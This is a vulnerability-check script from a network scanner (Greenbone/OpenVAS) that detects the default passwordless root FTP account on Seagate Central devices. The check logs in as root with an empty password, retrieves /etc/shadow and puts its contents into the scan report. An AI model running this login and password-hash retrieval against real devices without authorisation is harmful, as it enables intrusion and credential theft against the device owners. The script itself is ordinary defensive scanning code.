Seagate Central Remote Root Security Bypass Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105288");
  script_version("2023-07-25T05:05:58+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_name("Seagate Central Remote Root Security Bypass Vulnerability");

  script_xref(name:"URL", value:"https://packetstormsecurity.com/files/132163");

  script_tag(name:"vuldetect", value:"Login into the remote FTP as root without password.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"summary", value:"Seagate Central by default has a passwordless root account (and no option to change it).");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2015-06-05 14:40:09 +0200 (Fri, 05 Jun 2015)");
  script_category(ACT_GATHER_INFO);
  script_family("FTP");
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/seagate/central/detected");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = ftp_get_port(default:21);
banner = ftp_get_banner( port:port );
if( !banner || "Welcome to Seagate Central" >!< banner )
  exit( 0 );

soc = open_sock_tcp( port );
if( ! soc ) exit( 0 );

if( ! ftp_authenticate( socket:soc, user:'root', pass:'' ) )
{
  close( soc );
  exit(0);
}

port2 = ftp_pasv( socket:soc );
if( ! port2 )
{
  close( soc );
  exit(0);
}

soc2 = open_sock_tcp( port2 );
if( ! soc2 )
{
  close( soc );
  exit( 0 );
}

send( socket:soc, data:'RETR /etc/shadow\r\n' );

recv1 = recv( socket:soc, length:512  );
recv2 = recv( socket:soc2, length:512 );

close( soc );
close( soc2 );

if( "226 Transfer complete" >< recv1 && "sshd:" >< recv2 )
{
  report = 'It was possible to login as root without a password and to retrieve /etc/shadow. Here is the content:\n\n==========>>\n\n' + recv2 + '\n\n<<==========\n';
  security_message( port:port, data:report );
  exit( 0 );
}

exit ( 99 );